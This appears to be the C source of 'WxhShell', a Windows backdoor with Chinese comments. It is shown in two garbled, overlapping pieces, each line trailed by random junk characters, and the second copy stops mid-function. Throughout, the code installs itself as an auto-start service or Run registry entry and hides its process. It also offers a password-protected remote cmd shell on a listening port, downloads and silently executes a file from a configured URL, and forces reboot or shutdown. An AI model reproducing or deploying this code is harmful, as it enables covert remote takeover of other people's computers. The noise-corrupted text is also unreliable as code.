    else { m] W5+  
    closesocket(wsh); cS.-7  
    ExitThread(0); (4@lKKiU%H  
    } 5o/&T"]@  
    break; 1pCieTz!PN  
    } 6O@J7P  
  // 获取shell kEO7PK/  
  case 's': { 0[F:'_  
    CmdShell(wsh); fS:1^A2,  
    closesocket(wsh); -!)xQvagD.  
    ExitThread(0); x)UwV  
    break; !J =sk4T  
  } )I\=BPo|B  
  // 退出 a,o_`s<  
  case 'x': { {,cCEXag%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k/03ZxC-  
    CloseIt(wsh); jt@SZI`  
    break; vfNAs>Xg"  
    } UYA_jpIP  
  // 离开 e;GU T:  
  case 'q': { ~Xlrvb}LP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?DH"V7bs  
    closesocket(wsh); J>^\oAgpE  
    WSACleanup(); |e a~'N1  
    exit(1); m>}8'N)  
    break; /cK%n4l.y  
        } SSBg?H'T  
  } JxjI]SF02  
  } " v}pdUW  
cV-1?h63  
  // 提示信息 &3Zy|p4V<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5[{*{^F4  
}  h C=:q  
  } 1shBY@mlq  
WU4UZpz  
  return; \ j.x0/;  
} S?{ /hy  
eh*6cQ.0  
// shell模块句柄 Eh| .  
int CmdShell(SOCKET sock) K\^ 0_F K  
{ l/y]nw  
STARTUPINFO si; 0GDvwy D1  
ZeroMemory(&si,sizeof(si)); muW!xY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ro=AADv@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $ \*` }Y  
PROCESS_INFORMATION ProcessInfo; |xoF49  
char cmdline[]="cmd"; Cv)/7vyB8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (]*H[)F/  
  return 0; q4UA]+-*  
} NA$zd(  
0lM{l?  
// 自身启动模式 )c/Fasfg[P  
int StartFromService(void) 8wH.et25k  
{ NDO\B,7  
typedef struct K1?Gmue#I  
{ rC_*sx r^  
  DWORD ExitStatus; <P%}|@  
  DWORD PebBaseAddress; '<iK*[NW  
  DWORD AffinityMask; q EUT90  
  DWORD BasePriority; ._z 'g_c(  
  ULONG UniqueProcessId; QMo}W{D  
  ULONG InheritedFromUniqueProcessId; i77GE  
}   PROCESS_BASIC_INFORMATION; Q>qFM9Z  
CJaKnz  
PROCNTQSIP NtQueryInformationProcess; 3ew8m}A{O  
fU2qrcVu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xKOq[d/8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZiFooA  
JM.XH7k  
  HANDLE             hProcess; 'rb'7=z5  
  PROCESS_BASIC_INFORMATION pbi; .r+hERcB  
2h {q h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E3/:.t  
  if(NULL == hInst ) return 0; 9^F2$+T[:  
9H]_4?aX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D~K;~nI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1on'^8]0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s|bM%!$1  
(/ " &  
  if (!NtQueryInformationProcess) return 0; ?v}Bd!'+P  
*oI*-C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bVr*h2 p  
  if(!hProcess) return 0; mT*{-n_Zs  
4\ /*jA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G&eP5'B4i  
qu6DQ@ ~YC  
  CloseHandle(hProcess); SKY*.IW/Z  
9=dkx^q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |4Ck;gg!j  
if(hProcess==NULL) return 0; !wLg67X$ -  
k /EDc533d  
HMODULE hMod; eyw'7  
char procName[255]; VY 1vXM3y  
unsigned long cbNeeded; h7_)%U<J2  
K_-d(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *HM?YhR  
+UWU|:  
  CloseHandle(hProcess); J#3{S]* v_  
6er(%4!  
if(strstr(procName,"services")) return 1; // 以服务启动 MN;/*t  
cJ}QXuuUv  
  return 0; // 注册表启动 oholt/gb+0  
} 1@sM1WM X  
0WxCSL$#I  
// 主模块 r@)A k  
int StartWxhshell(LPSTR lpCmdLine) QBE@(2G}C  
{ t]_S  
  SOCKET wsl; 6a}r( yP  
BOOL val=TRUE; ySN V^+  
  int port=0; DhKr;e  
  struct sockaddr_in door; rE!1wc>L  
&b C}3D  
  if(wscfg.ws_autoins) Install(); sJr5t?  
KAA3iA@>+  
port=atoi(lpCmdLine); ^Ip3A  
3=4SGt5m  
if(port<=0) port=wscfg.ws_port; )xl6,bq3  
f!GHEhQ9  
  WSADATA data; F#q&(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Db03Nk>#  
\ a-CN>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fq,N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ddpl Pzm#  
  door.sin_family = AF_INET; Fb Sa~uN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); * crw^e  
  door.sin_port = htons(port); ')PVGV(D+  
!r&Bn6*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]YD(`42x  
closesocket(wsl); Y\t_&px  
return 1; ' lo.h""  
} wgd<3 X  
B1T5f1;uY  
  if(listen(wsl,2) == INVALID_SOCKET) { =d20Xa  
closesocket(wsl); <DiOWi  
return 1; . 5hp0L}  
} 0-e  
  Wxhshell(wsl); M23& <}Q8  
  WSACleanup(); nX x=1*X  
iK}v`xq  
return 0; .;Y x*]  
]O{_O&w  
} NtZ6$o<Y  
hH4o;0rqJ  
// 以NT服务方式启动 Sni=gZK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) # 3.)H9  
{ *%- ?54B  
DWORD   status = 0; -Ds|qzrN%  
  DWORD   specificError = 0xfffffff; 1i?=JAFfM  
1Kc^m\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7!d$M{0"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Yw"P)Zp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; el@XK}<dr  
  serviceStatus.dwWin32ExitCode     = 0; kO3 `54  
  serviceStatus.dwServiceSpecificExitCode = 0; }$)&{d G  
  serviceStatus.dwCheckPoint       = 0; Gp1EJ2d8  
  serviceStatus.dwWaitHint       = 0; m6so]xr  
)A83A<~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #MM &BC  
  if (hServiceStatusHandle==0) return; =P_fv  
%-^}45](q  
status = GetLastError(); 9/;{>RL=  
  if (status!=NO_ERROR) cF.mb*$K  
{ $N\+,?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M/w{&&  
    serviceStatus.dwCheckPoint       = 0; g X/NtO %  
    serviceStatus.dwWaitHint       = 0; bXl8v  
    serviceStatus.dwWin32ExitCode     = status; l P0k:  
    serviceStatus.dwServiceSpecificExitCode = specificError; iSd?N}2,I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m`9^.>]P  
    return; xii$e  
  } 0eA5zFU7  
b>=7B6 Aw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m3?e]nL4W  
  serviceStatus.dwCheckPoint       = 0; hAa[[%wPhU  
  serviceStatus.dwWaitHint       = 0; (v;A'BjN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6lU|mJ`M  
} FE6C6dW{  
5'9.np F)  
// 处理NT服务事件,比如:启动、停止 i<:p.ug-O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N !IzB]  
{ C={mi#G[/  
switch(fdwControl) SKx e3  
{ /+P5)q TKL  
case SERVICE_CONTROL_STOP: hO;9Y|y  
  serviceStatus.dwWin32ExitCode = 0; `@\^m_!}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cs5ix"1A  
  serviceStatus.dwCheckPoint   = 0; 8nu> gA  
  serviceStatus.dwWaitHint     = 0; @W)/\AZ3  
  { OX)BP.h#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !rHx}n{rw  
  } TolrEcI  
  return; 9Z9l:}bO  
case SERVICE_CONTROL_PAUSE: .\4l'THn,0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |8;? *s`H  
  break; 0.(Ml5&e  
case SERVICE_CONTROL_CONTINUE: |UZOAGiBg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |KaR n;BM  
  break; Xoi9d1fO  
case SERVICE_CONTROL_INTERROGATE: [Pqn 3I[  
  break; -7 L  
}; !&0a<~ Wi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^6&_| f  
} UC#"=Xd 4  
<[5#c*A  
// 标准应用程序主函数 yjv&4pIc1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (olLB  
{ TPqvp|~2  
aZxO/b^j  
// 获取操作系统版本 r$?Vx_f`Q  
OsIsNt=GetOsVer(); w[{*9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p  .aE  
x!`KhTu`_A  
  // 从命令行安装 QB9A-U <J  
  if(strpbrk(lpCmdLine,"iI")) Install(); w%I8CU_}.  
cS 4T\{B;  
  // 下载执行文件 u!u5g.Q  
if(wscfg.ws_downexe) { _M&{^d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h;}ODK(.  
  WinExec(wscfg.ws_filenam,SW_HIDE); }(cY|  
} .hgH9$\  
5])8qb/F  
if(!OsIsNt) { @dl<-  
// 如果时win9x,隐藏进程并且设置为注册表启动 mQnL<0_<f  
HideProc(); PuU*vs3  
StartWxhshell(lpCmdLine); Ir>2sTrm  
} z^9E;  
else \@:j  
  if(StartFromService()) U~hCn+0  
  // 以服务方式启动 pNSst_!>  
  StartServiceCtrlDispatcher(DispatchTable); L3g9b53\  
else ;6zPiaDQ  
  // 普通方式启动 ?AT(S  
  StartWxhshell(lpCmdLine); A_]D~HH  
$BaK'7=3*  
return 0; TL]bY'%  
} `_ 0)kdu  
@%%bRY  
W`5a:"Vg  
oB3q AP  
=========================================== {[N?+ZJD*L  
cPm~` Zd  
CCn/ udp@  
lf;~5/%wMG  
b<8q 92F  
>0 7shNX  
" <(Tiazg  
a /QIJ*0  
#include <stdio.h> `{%-*f^  
#include <string.h> h2AGEg'g2[  
#include <windows.h> 2>ys2:z  
#include <winsock2.h> #*\Ry/9Q  
#include <winsvc.h> 4u7Cm  
#include <urlmon.h> *qbRP"#[$  
we }#Ru*  
#pragma comment (lib, "Ws2_32.lib") )'=V!H#U*  
#pragma comment (lib, "urlmon.lib") _J` |<}?t;  
> Z]P]e  
#define MAX_USER   100 // 最大客户端连接数 SC]6F*  
#define BUF_SOCK   200 // sock buffer 7 s7}?l9  
#define KEY_BUFF   255 // 输入 buffer ,R8n,az  
l,^xX =,  
#define REBOOT     0   // 重启 ZHb7+  
#define SHUTDOWN   1   // 关机 F@Pem  
 &Q<EfB  
#define DEF_PORT   5000 // 监听端口 Rnz8 f}  
yg`E22  
#define REG_LEN     16   // 注册表键长度 /%-o.hT  
#define SVC_LEN     80   // NT服务名长度 FzA{U O  
n}+wd9J*!2  
// 从dll定义API ?-4OfGN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2$iw/ r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]}_p3W "Y9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @h!U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cxL,]27Bu  
s87 a %  
// wxhshell配置信息 ,!jR:nApE  
struct WSCFG { >'ie!VW@  
  int ws_port;         // 监听端口 +yt6.L  
  char ws_passstr[REG_LEN]; // 口令 N&x@_t""   
  int ws_autoins;       // 安装标记, 1=yes 0=no 5 Xk~,%-C  
  char ws_regname[REG_LEN]; // 注册表键名 #j\*Lc"Ur:  
  char ws_svcname[REG_LEN]; // 服务名 $#TID=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N'I?fWN!;R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 md.*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }R4(B2vup  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m2jwqx{G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "$# $f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :O5Tr03z  
G[ ,,L  
}; \a\^(`3a[  
aeLBaS  
// default Wxhshell configuration 1hF2eNh  
struct WSCFG wscfg={DEF_PORT, 2Y9y5[K,F)  
    "xuhuanlingzhe", |}l@w +N3  
    1, n+v!H O"2u  
    "Wxhshell", b(g_.1[  
    "Wxhshell", Ar\IZ_Q  
            "WxhShell Service", >+zAWK9  
    "Wrsky Windows CmdShell Service", U+:S7z@j?  
    "Please Input Your Password: ", .%|OGl ?  
  1, { +i;e]c  
  "http://www.wrsky.com/wxhshell.exe", ^H f+du  
  "Wxhshell.exe" @ARAX\F  
    }; >l y&+3S  
!a.3OpQ  
// 消息定义模块 ;JMOsn}8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?,.HA@T%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Mobq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; at_dmU2[7  
char *msg_ws_ext="\n\rExit."; ,{#RrF e  
char *msg_ws_end="\n\rQuit."; *?EjYI  
char *msg_ws_boot="\n\rReboot..."; fx8y`8}_  
char *msg_ws_poff="\n\rShutdown..."; ZE5-i@1  
char *msg_ws_down="\n\rSave to "; CD XB&%Sr  
-`<6=[QUO  
char *msg_ws_err="\n\rErr!"; JS<e`#c&  
char *msg_ws_ok="\n\rOK!"; okd  ``vG  
Dx9$H++6$X  
char ExeFile[MAX_PATH]; | 7t=\  
int nUser = 0; ,Y78Q  
HANDLE handles[MAX_USER]; w*|=k~z  
int OsIsNt; sDz)_;;%  
r4]hS`X~%  
SERVICE_STATUS       serviceStatus; a!s.850@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ymzPJ??!  
d;@E~~o?B]  
// 函数声明 ^sr:N5~z`  
int Install(void); @g@ fL%  
int Uninstall(void); f(w#LuW<  
int DownloadFile(char *sURL, SOCKET wsh); Rx@%cuP*  
int Boot(int flag); f(@"[-[  
void HideProc(void); xCmI7$uQ#  
int GetOsVer(void); ')Dp%"\?  
int Wxhshell(SOCKET wsl); s!nSE  
void TalkWithClient(void *cs); F$"MFdc[  
int CmdShell(SOCKET sock); N]O{T_5-0  
int StartFromService(void); GN~[xXJU  
int StartWxhshell(LPSTR lpCmdLine); E@\d<c.  
h^.tom g8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X#f+m) S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .=et{\  
r1^m#!=B  
// 数据结构和表定义 s$2l"|h>B  
SERVICE_TABLE_ENTRY DispatchTable[] = LZZ:P  
{ b a1$kU  
{wscfg.ws_svcname, NTServiceMain}, l,^i5t'  
{NULL, NULL} q9g[+*9]$  
}; V'f&JQ A  
rU2YMghE  
// 自我安装 R &1mo  
int Install(void) 3. K{T  
{ U_ N5~#9   
  char svExeFile[MAX_PATH]; 5<:VJC<  
  HKEY key; m=("N  
  strcpy(svExeFile,ExeFile); Sm*Jysy`  
H L}sqcp  
// 如果是win9x系统,修改注册表设为自启动 o[Wagg.%  
if(!OsIsNt) { % RBI\tj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2f}K #i8   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Yy#`t  
  RegCloseKey(key); buxI-wv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n '0 $>Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^J*G%*  
  RegCloseKey(key); o\=i0HR9  
  return 0; ]Lb?#S  
    } iA^+/Lt  
  } 8-y: ==C  
} \h'E5LO  
else { +cE tm  
:DJ7d  
// 如果是NT以上系统,安装为系统服务 jmk*z(}#:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8R??J>h5\  
if (schSCManager!=0) avbr7X(  
{ S$kuhK>W!  
  SC_HANDLE schService = CreateService _L `N^I.  
  ( [Q.4]K2  
  schSCManager, a|6x!p2X  
  wscfg.ws_svcname, Te U7W?M^  
  wscfg.ws_svcdisp, r%m7YwXo  
  SERVICE_ALL_ACCESS, kS\.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4, *^QK  
  SERVICE_AUTO_START, bN7UO  
  SERVICE_ERROR_NORMAL, yBD2  
  svExeFile, h3;o!FF  
  NULL, H-\ {w    
  NULL, ~QEXB*X-g'  
  NULL, HC;I0&v>  
  NULL, kT } '"  
  NULL jhEg#Q$  
  ); Jq+$_Uqd  
  if (schService!=0) l3Bxi1k[C  
  { :(?hLH.W[  
  CloseServiceHandle(schService); rO?x/{;ai  
  CloseServiceHandle(schSCManager); $b i_i|?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D @4&@>  
  strcat(svExeFile,wscfg.ws_svcname); ~b6<uRnM.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,p/b$d1p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !$KhL.4P  
  RegCloseKey(key); Mn }Z9S[  
  return 0; ("J V:u.L+  
    } 1J{z}yPHc  
  } U)I `:J+A  
  CloseServiceHandle(schSCManager); C +?@iMh  
} D8D!16_  
} +^&v5[$R  
T m@1q!G  
return 1; 3}#XA+Z  
} b[[6X  
;iC'{S  
// 自我卸载 PVkN3J  
int Uninstall(void) PqJ*   
{ ?#EXG  
  HKEY key; @gqs4cg{f  
)D@n?qbG  
if(!OsIsNt) { `F+x]<m!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ssJDaf79  
  RegDeleteValue(key,wscfg.ws_regname); sc $QbOc  
  RegCloseKey(key); #!d^3iB2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %}ApO{  
  RegDeleteValue(key,wscfg.ws_regname); EAd:`X,Y  
  RegCloseKey(key); =Z>V}`n  
  return 0; -ynLuq#1A  
  } ]-5jgz"  
} 2eR+dT  
} sQw`U{JG  
else { G>ptwB81KM  
e9_O/iN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &pY G   
if (schSCManager!=0) u g:G9vjQ  
{ i(f;'fb*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6[h$r/GXh"  
  if (schService!=0) f~"V  
  { FvNSu"O~K1  
  if(DeleteService(schService)!=0) { v.LUK  
  CloseServiceHandle(schService); wAOVH].  
  CloseServiceHandle(schSCManager); nM.?Q}yO~  
  return 0; Nj-rZ%&  
  } c.{&~  
  CloseServiceHandle(schService); h. (;GJO  
  } ?^$4)Y>Kf  
  CloseServiceHandle(schSCManager); ^.1VhTB  
} B{o\RNU  
} nC!^,c  
7f Tg97eF  
return 1; HFx"fT  
} eW*ae;-  
>eTgP._  
// 从指定url下载文件 $E,DxDT  
int DownloadFile(char *sURL, SOCKET wsh) ic]tUOC:  
{ :0j`yo:w  
  HRESULT hr; //5_E7Ehu$  
char seps[]= "/"; w$;*~Qc  
char *token; r=H\4%P4  
char *file; 2au(8IWu  
char myURL[MAX_PATH]; m3xj5]#^$  
char myFILE[MAX_PATH]; ?M-8Fp3 +  
^\kHEM|5v  
strcpy(myURL,sURL); (`y|AOs  
  token=strtok(myURL,seps); y3[)zv  
  while(token!=NULL) b G5  
  { x(zZqOed  
    file=token; pL/.JzB  
  token=strtok(NULL,seps); 9PGR#!!F$  
  } Cbg#Yz~/  
B{UoNm@  
GetCurrentDirectory(MAX_PATH,myFILE); sAN:C{  
strcat(myFILE, "\\"); v?TJ!o  
strcat(myFILE, file); g#%FY1xp  
  send(wsh,myFILE,strlen(myFILE),0); E,"btBg  
send(wsh,"...",3,0); MirBJL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  wY_-  
  if(hr==S_OK) G{Enh<V  
return 0; DD$P r&~=  
else 27 TZ+?  
return 1; y^46z( I  
3R:i*8C  
} "sx&8H"  
9w<Bm"G  
// 系统电源模块 1HWJxV"  
int Boot(int flag) j4SG A#;v  
{ Bt7v[Ot   
  HANDLE hToken; 10 H!  
  TOKEN_PRIVILEGES tkp; k Q(y^tW  
)$4DH:WN  
  if(OsIsNt) { ]a|;G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7c]Ai  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U@5Z9/n{  
    tkp.PrivilegeCount = 1; UYrzsUjg&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yi;t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &FF. Ddt{  
if(flag==REBOOT) { ?[B[ F  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2\tjeg  
  return 0; htrj3$q(4  
} 6SO7iFS  
else { 6%INNIyAWa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^|{fB,B  
  return 0; dTQvz9C  
} A":b_!sW  
  } >D4Ez  
  else { 6jo&i  
if(flag==REBOOT) { -86:PL(I"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FF!g9>  
  return 0; qML*Kwg  
} .%Q Ea_\  
else { ,4W((OQ^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $[CA#AXE  
  return 0;  iPO S  
} 5m?$\h  
} j:KQIwc  
gK\7^95  
return 1; ZKPkx~,U[  
} S)|b%mVwR  
=T4 w:  
// win9x进程隐藏模块 u`@FA?+E1  
void HideProc(void) R0<Vd"  
{ &it/@8yH  
(+ anTA=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :Rj,'uH+h)  
  if ( hKernel != NULL ) {leG~[d  
  { aBi:S3 qk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J}\]<aC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4F6o  
    FreeLibrary(hKernel); /-4B)mL  
  } %\&dFwb  
wx5*!^&j  
return; }c5`~ LLK  
} #zs\Z]3#  
l8Qi^<i/  
// 获取操作系统版本 Y<fXuj|&  
int GetOsVer(void) g"? D>}@=  
{ |UO;St F  
  OSVERSIONINFO winfo; H5 hUY'O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %pQ o%<d  
  GetVersionEx(&winfo); 2<@!m @  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 695ppiKU  
  return 1; nW'x#0-  
  else _u2  
  return 0; S]/ +n>  
} D07u?  
*S_Iza #&x  
// 客户端句柄模块 y<d#sv(s  
int Wxhshell(SOCKET wsl) Asu"#sd  
{ Lo9?,^S  
  SOCKET wsh; Vnb#N4vR  
  struct sockaddr_in client; 3[Iw%% q  
  DWORD myID; VW`=9T5%@  
*G41%uz  
  while(nUser<MAX_USER) 26K~m@  
{ ,0~TvJS  
  int nSize=sizeof(client); V7_??L%Ct`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <5~>.DuE  
  if(wsh==INVALID_SOCKET) return 1; 4HE4e  
 +'.Q-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hj,x~^cS  
if(handles[nUser]==0)  |?A-?-  
  closesocket(wsh); 0+pJv0u  
else .9Fm>e+!C  
  nUser++; ZE` {J =,  
  } c iX2G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'v  X"l  
JvaaBXkS\  
  return 0; c.v)M\:  
} [F EQ@  
$8r:&Iw  
// 关闭 socket A,qG*lv  
void CloseIt(SOCKET wsh) B4aZ3.&W  
{ 3/FB>w gt  
closesocket(wsh); 3: Uik  
nUser--; O_^h 7   
ExitThread(0); >O~5s.1u  
} nVzo=+Yp  
 V}qmH2h  
// 客户端请求句柄 Dm#k-y  
void TalkWithClient(void *cs) p#2th`M:P1  
{ P7-3Vf_L  
 U2$T}/@  
  SOCKET wsh=(SOCKET)cs; I r~X#$Upc  
  char pwd[SVC_LEN]; 7!%"8Rl-  
  char cmd[KEY_BUFF]; idy:Jei}  
char chr[1]; dZmq  
int i,j; y>8?RX8  
q3`t0eLZ  
  while (nUser < MAX_USER) { o:<3n,T  
^dv>n]?  
if(wscfg.ws_passstr) { |e&Kg~~C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aK'r=NU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;zDc0qpw  
  //ZeroMemory(pwd,KEY_BUFF); 2-84  
      i=0; mX^RSg9E}  
  while(i<SVC_LEN) { zn|}YovY+  
5Y^ YKV{  
  // 设置超时 )3sb 2 #  
  fd_set FdRead; mN02T@R-  
  struct timeval TimeOut; za7wNe(s  
  FD_ZERO(&FdRead); _wCSL.  
  FD_SET(wsh,&FdRead); e$=|-J z  
  TimeOut.tv_sec=8; J?'!8,RX  
  TimeOut.tv_usec=0; X)m2{@v D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {'!~j!1'j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h# 8b#  
.U_=LV]C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d%bL_I)  
  pwd=chr[0]; tO7{g  
  if(chr[0]==0xd || chr[0]==0xa) { x]Ef}g  
  pwd=0; `2B+8,{%  
  break; Bx F  
  } dp_q:P4; B  
  i++; 1~ Nz6  
    } ~\P.gSiz  
1 <+^$QL  
  // 如果是非法用户,关闭 socket mLE`IKgd]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ] ?(=rm9u  
} }g?]B+0  
=%LS9e^7D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?3#X5WT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); srL,9)O C  
YSbN=Rj  
while(1) { .+yJ'*i$d  
<FE O6YP  
  ZeroMemory(cmd,KEY_BUFF); 71_N9ub@z  
q9Q4F  
      // 自动支持客户端 telnet标准   Q"O _h  
  j=0; A\`Uu&  
  while(j<KEY_BUFF) { G1rgp>m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dkjL;1  
  cmd[j]=chr[0]; Jp- hFD  
  if(chr[0]==0xa || chr[0]==0xd) { RMXP)[  
  cmd[j]=0; ^d,d<Uc  
  break; 6]VTn-  
  } iYnt:C  
  j++; x>cu<,e$d\  
    } k4v[2y`  
',f[y:v;  
  // 下载文件 U|=y&a2Rb  
  if(strstr(cmd,"http://")) { bGZy0.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L6T_&AiL$  
  if(DownloadFile(cmd,wsh)) sZc<h]L(g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y%3j >_\;  
  else D%zIm,bf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U/>5C:  
  } f4q-wX_1  
  else { $\H>dm  
rAWBuEU;!  
    switch(cmd[0]) { i> ;G4  
  9 wc=B(a|  
  // 帮助 ~F WmT(S  
  case '?': { y^ohns5{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AWw'pgTQX  
    break; Lxl?6wZ  
  } (U)=t$=o  
  // 安装 XIU2l}g  
  case 'i': { lG2){){j  
    if(Install()) }U9e#>e x  
